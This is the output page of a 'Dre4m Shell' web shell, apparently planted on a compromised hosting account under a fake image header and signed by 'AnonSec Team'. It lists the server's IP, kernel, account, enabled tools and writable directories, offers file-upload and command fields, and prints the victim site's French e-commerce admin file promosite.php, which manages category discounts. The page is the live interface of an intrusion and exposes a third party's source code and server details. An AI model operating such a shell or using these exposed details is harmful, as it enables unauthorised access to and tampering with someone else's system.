ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin//promosite.php
<?php
include_once('includes/header.php');
$id_volet ="29";
include('includes/volet.php');
/****************************/

if (isset($_POST['edit'])) {

          $id_cat = $_POST['id_cat'];  
          $remise = $_POST['remise'];  
          $case = $_POST['case'];  

         if ($case =="") { $cle_promo="0"; } else { $cle_promo="1"; }
         if ($remise =="0") { $cle_promo="0"; }  
         if ($remise =="") { $cle_promo="0"; }  


 // Enregistre la remise globale dans la categorie
/*************************************************/

           $qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['categories'] . " 
           SET promo = :promo,  cle_promo = :cle_promo WHERE id = :id");
           
           $qid->execute(array(   
                        'promo' => $remise,
                        'cle_promo' => $cle_promo,
                        'id' => $id_cat));


/**********************************************/
/**********************************************/
/**********************************************/
/**********************************************/
          if ($remise =="") { $remise ="0"; }  

///////////////////////////////////////////////
///////////////////////////////////////////////



 // Calcule la remise globale dans les produits
/**********************************************/
   //      $ccp=0;

           $requete2 = $bdd->query("SELECT *, p.id AS pid, p.name AS pname, c.name AS cname FROM " . $GLOBALS['db_table']['products_categories'] . " pc 
           JOIN " . $GLOBALS['db_table']['products'] . " p 
           ON  pc.id_product = p.id

           JOIN " . $GLOBALS['db_table']['categories'] . " c 
           ON pc.id_category = c.id 

           ORDER BY id_category ASC"); 
           while ($pro = $requete2->fetch()) {

// Debug
/********/
  //        $ccp=$ccp+1;
  //        echo"<br />".$ccp ." -> ".$pro['pid']." ... ".$pro['pname'] ;
  //       echo"-> ".$pro['cname']." -- ".$pro['promo']." <br />" ;


// Enregistre suivant maud (si remise = 0 ou non)
/***********************************************/

          if ($remise =="0") { $maud = "-1"; $pro['cle_promo'] ="1"; } else { $maud ="0"; } 

          if ($pro['promo'] > $maud ) {

          if ($pro['discount_prod'] >0) { if ($pro['cle_promo'] >0) { $discountp = $pro['discount_prod']; } else { $discountp  = $pro['promo'] ; }  }
          if ($pro['discount_prod'] =="0") { if ($pro['cle_promo'] >0) { $discountp = $pro['promo']; } else { $discountp  = $pro['promo'] ; } }

          $qid = $bdd->prepare("UPDATE " . $GLOBALS['db_table']['products'] . " 
           SET discount = :discount, promo = :promo WHERE id = :id");
           
           $qid->execute(array(   
                        'discount' => $discountp,
                        'promo' => $pro['promo'],
                        'id' => $pro['pid']));
         }
      }

/**********************************************/
/**********************************************/
/**********************************************/
/**********************************************/

}
?>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Remises par catégories
          <div class="pull-right">
            <a href="products.php" class="btn btn-primary"><i class="icon-arrow-left"></i>Voir les Produits</a>

            <a href="category.php" class="btn btn-primary"><i class="icon-arrow-right"></i> Gestion Cat&eacute;gories</a>
 
          </div>
        </h1>

<i>La case &agrave; cocher permet de garder la remise faite dans la fiche produit (si elle existe)</i>

      </div>
    </div>
  </div>
  <table id="" class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span3 center">Catégorie</th>
        <th class="span1 center">Nbre de produits</th>
        <th class="span1 center">Remise en %</th>
       <th class="span2 center">Opérations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT COUNT(pc.id_category) as total, c.* FROM " . $GLOBALS['db_table']['categories'] . " c LEFT JOIN " . $GLOBALS['db_table']['products_categories'] . " pc ON c.id = pc.id_category GROUP BY c.id ORDER BY c.position"); 
      if ($row = $requete->fetch()) {
        do {
         $id = $row['id'];
          ?>

          <tr class="" id="" style="">
          <td class="span1 font12 center">
        <?php            
        $parent_id = $row['parent_id'];
        if($parent_id > 0) { 
        $requet = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " WHERE id = " . $parent_id);
        $catt = $requet->fetch();
    	echo '<font color="#CC0000"><b>'.$catt['name'].'</b></font>&nbsp;-->&nbsp;'; }			 
        ?>           
            <b><?php echo stripcslashes($row['name']) ?></b>
            </td>


            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['total']) ?></b>
            </td>


<!-- Formulaire -->


       <form class="form-horizontal" method="POST" action="promosite.php" enctype="multipart/form-data">
             <input name="id_cat" type="hidden" value="<?php echo$row['id']  ?>">


            <td class="span1 font12 center">
            <?php if ($row['promo'] >0) { $thc="#FF0000"; $vignett ="vignette_promo_cp.png";} else { $thc="#000"; $vignett ="vignette_promo_cp_no.png"; } ?>
            <input style="text-align:left;width:100px"  name="remise" type="number" min="0" max="100" step="0.00001" value="<?php echo$row['promo']?>">&nbsp;<font color="<?php echo$thc?>">%</font>
            </td>


            <td class="center">

              &nbsp;
              &nbsp;
              &nbsp;
              &nbsp;              &nbsp;
              &nbsp;
             <?php
                 if ($row['cle_promo'] >0) {
                 echo '<input name="case" checked type="checkbox" />';
                 } else {
                 echo '<input name="case" type="checkbox" />';
                }  
?>
              &nbsp;
              &nbsp;
              <button type="submit" name="edit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>

 
            <img width="50" src="./assets/img/<?php echo$vignett ?>" alt="" />
 


  </form>

<!-- // Formulaire -->

&nbsp;
<?php
$stopd = '0';
$requetedd= $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " WHERE parent_id = " . $id);
      if ($rowdd = $requetedd->fetch()) {
        do {
 $stopd = $stopd + 1;
        }while ($rowdd = $requetedd->fetch());
      } else {
         
      }

$stop = 0;
        if($stopd > 0) { $stop = $stop + 1;}
        if($row['total'] > 0) { $stop = $stop + 1;}
 ?>             
              &nbsp;
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune page à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>













<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team